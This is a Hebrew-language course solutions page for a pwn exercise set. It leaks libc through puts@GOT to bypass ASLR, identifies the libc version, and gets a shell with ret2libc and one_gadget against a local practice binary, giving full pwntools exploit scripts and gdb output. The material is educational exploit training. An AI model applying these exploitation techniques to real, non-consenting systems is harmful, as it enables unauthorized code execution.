לדלג לתוכן

4.4 דליפת libc ועקיפת ASLR פתרון

פתרון - libc leak ועקיפת ASLR

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא בסוף. הכתובות בפלט הן דוגמה - אצלכם הן ישתנו בכל הרצה בגלל ASLR, וזה בדיוק העניין. אף פעם אל תעתיקו כתובת libc קבועה לסקריפט; תמיד חשבו אותה מהleak.

פתרון תרגיל 1 - להוכיח ש-ASLR מזיז את libc

מריצים ldd כמה פעמים ורואים בסיס אחר בכל פעם:

$ ldd ./leak | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a1c400000)
$ ldd ./leak | grep libc
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8e9d200000)

בדיקת ההגנות:

$ checksec --file=./leak
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

מציאת ה-offset עם cyclic:

from pwn import *
context.binary = ELF('./leak')

p = process('./leak')
p.recvuntil(b'overflow me:\n')
p.sendline(cyclic(200))
p.wait()

core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8))   # what was on top of the stack at ret
log.info('offset = %d', offset)                 # 72

הbuffer 64 ועוד saved rbp של 8 נותנים offset 72.

התשובה לשאלת המחשבה: אמנם ה-offset של system בתוך libc קבוע, אבל הכתובת הסופית היא libc_base + offset(system), וה-libc_base אקראי ונקבע רק בזמן ריצה. לכן אי אפשר לכתוב אותו מראש - חייבים לגלות אותו בהרצה, וזה תפקיד הleak.

פתרון תרגיל 2 - מיפוי ה-GOT וה-PLT

מוצאים את הכתובות. objdump -R מציג את ה-relocations של ה-GOT:

$ objdump -R leak | grep puts
0000000000404018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

$ objdump -d leak | grep 'call.*puts'
  1169:  e8 e2 fe ff ff   call  1050 <puts@plt>

או, נוח יותר, מ-pwntools:

>>> elf = ELF('./leak')
>>> hex(elf.plt['puts'])
'0x401050'
>>> hex(elf.got['puts'])
'0x404018'

עכשיו בודקים ב-gdb מה יש ב-puts@got אחרי הקריאה הראשונה. עוצרים על הכניסה ל-vuln (אחרי ש-main כבר קראה ל-puts... למעשה main קוראת ל-vuln שקוראת ל-puts, אז נעצור אחרי ה-puts הראשון):

pwndbg> b *vuln+... (after the call to puts)
pwndbg> run
pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x00007f3a1c480e50

הכתובת 0x7f3a1c480e50 יושבת בתוך libc (הבסיס היה 0x7f3a1c400000, וה-offset של puts הוא 0x80e50). אם עוצרים לפני הקריאה הראשונה ל-puts, נראה שם כתובת שמצביעה בחזרה ל-PLT stub בתוך הבינארי, לא ל-libc:

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x0000000000401036   <-- still points to the PLT, not libc

זה בדיוק הלקח: בקישור עצל, הכניסה מתמלאת בכתובת libc האמיתית רק בקריאה הראשונה. לכן נדליף רק פונקציה שכבר נקראה - puts מושלמת.

פתרון תרגיל 3 - שלב הleak וחישוב הבסיס

בונים את הleak chain, שולחים, ומפענחים:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./leak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

offset = 72

rop = ROP(elf)
rop.call('puts', [elf.got['puts']])   # puts(&puts@got) -> leaks
rop.call('main')                       # return to main
log.info('leak chain:\n' + rop.dump())

payload = flat({offset: rop.chain()})

p = process('./leak')
p.recvuntil(b'overflow me:\n')
p.sendline(payload)

leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success('puts @ %#x', leaked)

libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0

פלט לדוגמה:

[*] leak chain:
    0x0000:         0x40125b pop rdi; ret
    0x0008:         0x404018 [arg0] rdi = got.puts
    0x0010:         0x401050 puts
    0x0018:         0x401165 main
[+] puts @ 0x7f3a1c480e50
[+] libc base @ 0x7f3a1c400000

ה-assert עובר כי הבסיס נגמר ב-000. אילו היה נגמר במשהו אחר, זה סימן שה-libc לא נכון או שה-offset של puts לא תואם.

למה זה עבד: puts(&puts@got) הדפיסה את שמונת הבתים ב-puts@got, שהם הכתובת האמיתית של puts בזמן ריצה. puts עצרה ב-null אחרי 6 בתים משמעותיים, ljust ריפד ל-8, ו-u64 פענח. החיסור leaked - libc.symbols['puts'] נתן את הבסיס. איך להכליל: כל GOT leak עובדת ככה - בוחרים סמל פתור, מדפיסים אותו, מחסרים את ה-offset שלו.

פתרון תרגיל 4 - זיהוי גרסת ה-libc מהleak

מסתכלים רק על שלוש הספרות התחתונות של הleak. מריצים כמה פעמים:

run 1:  puts @ 0x7f3a1c480e50   -> low bits: e50
run 2:  puts @ 0x7f8e9d280e50   -> low bits: e50
run 3:  puts @ 0x7f01aa2 80e50  -> low bits: e50

התחתונות e50 (ולמעשה שלוש הנקסות e50, כלומר 12 הביטים התחתונים) קבועות, כי ASLR מיישר את הבסיס לעמוד של 0x1000 - הביטים התחתונים של הבסיס תמיד אפס, אז הביטים התחתונים של הסמל שווים ל-offset הפנימי הקבוע.

מדליפים סמל שני לחיזוק (למשל printf באותה שיטה) ומחפשים:

$ ./find puts e50 printf ee0
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)

$ ./dump libc6_2.31-0ubuntu9.9_amd64 system str_bin_sh
offset_system      = 0x50d70
str_bin_sh         = 0x1d8678

או ב-libc.rip: מכניסים puts עם הסיומת e50 ו-printf עם ee0, מקבלים את הגרסה, ומורידים את ה-.so המדויק. עם ה-libc הזה בונים את שלב 2, גם בלי גישה למערכת המטרה.

למה זה עבד: 12 הביטים התחתונים של כל סמל אינווריאנטיים תחת ASLR, ולכן הם מפתח חיפוש ייחודי כמעט. איך להכליל: מול כל שרת שלא ידוע לכם ה-libc שלו, שני סמלים שדלפתם מספיקים לרוב לזהות את הגרסה המדויקת.

פתרון תרגיל 5 - שלב התקיפה ו-shell

מוסיפים את שלב 2 - ret2libc בכתובות המחושבות:

rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0])         # aligns to 16 bytes (movaps)
rop2.call(libc.symbols['system'], [binsh])
log.info('exploit chain:\n' + rop2.dump())

payload2 = flat({offset: rop2.chain()})

p.recvuntil(b'overflow me:\n')                 # the second main prints again
p.sendline(payload2)
p.interactive()

הפלט, ואז shell:

[+] libc base @ 0x7f3a1c400000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

אם היינו שוכחים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:

Program received signal SIGSEGV
=> 0x7f3a1c450db1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0

זה החתום המובהק של בעיית הalignment. גאדג'ט ה-ret הבודד מזיז את rsp ב-8 והופך rsp % 16 == 8 ל-0.

למה זה עבד: אחרי ששלב 1 החזיר אותנו ל-main, vuln רצה שוב וקיבלה את הpayload השני. הפעם rdi הצביע על /bin/sh בכתובת המחושבת, ו-system רצה בכתובת המחושבת. איך להכליל: זה ret2libc רגיל, רק שכל הכתובות באות מ-libc.address שגילינו, לא קבועות.

פתרון תרגיל 6 (בונוס) - הקשחה, שרת מרוחק, ו-one_gadget

הסקריפט המלא, המוקשח, שני השלבים בזרימה אחת:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./leak')
libc = ELF('./libc.so.6')          # local, or the one identified from the leak

def conn():
    if args.REMOTE:
        return remote('127.0.0.1', 1337)
    return process('./leak')

offset = 72

# ===== stage 1: leak =====
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')

p = conn()
p.recvuntil(b'overflow me:\n')
p.sendline(flat({offset: rop.chain()}))

leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0, 'base not aligned -> wrong libc'

# ===== stage 2: system("/bin/sh") =====
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0])
rop2.call(libc.symbols['system'], [binsh])

p.recvuntil(b'overflow me:\n')
p.sendline(flat({offset: rop2.chain()}))
p.interactive()

מריצים מול שרת מקומי:

# window 1
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./leak
# window 2
python3 exploit.py REMOTE

ומקבלים shell מרוחק, כש-ASLR דלוק.

לגבי one_gadget: מריצים על ה-libc ומקבלים כמה מועמדים עם התנאים שלהם:

$ one_gadget ./libc.so.6
0x50a37 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
...

במקום chain ה-system, שלב 2 הופך לקפיצה בודדת:

rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0])     # alignment, sometimes needed for the rsp constraint
rop2.raw(libc.address + 0x50a37)           # one_gadget
p.sendline(flat({offset: rop2.chain()}))

למה זה עבד: one_gadget מריץ execve("/bin/sh", 0, 0) בקפיצה אחת, בלי לבנות ארגומנטים ידנית - כל עוד התנאי על האוגרים מתקיים ברגע הקפיצה. איך להכליל: אם gadget אחד לא עובד (התנאי לא מתקיים), עוברים לבא ברשימה, או חוזרים לchain system. נרחיב על one_gadget ועל בחירת המועמד הנכון ב-4.5.

מה חוזר מהתרגול הזה: GOT leak דרך puts, חישוב בסיס libc, זיהוי גרסה מ-12 הביטים התחתונים, וret2libc בכתובות מחושבות - זו התבנית שתחזור כמעט בכל אתגר pwn עם ASLR. מה שהופך תוקפה ל"אמינה" זה ה-assert על הבסיס ופענוח נכון של הleak; שני אלה חוסכים שעות של ניפוי שגיאות מול libc לא תואם.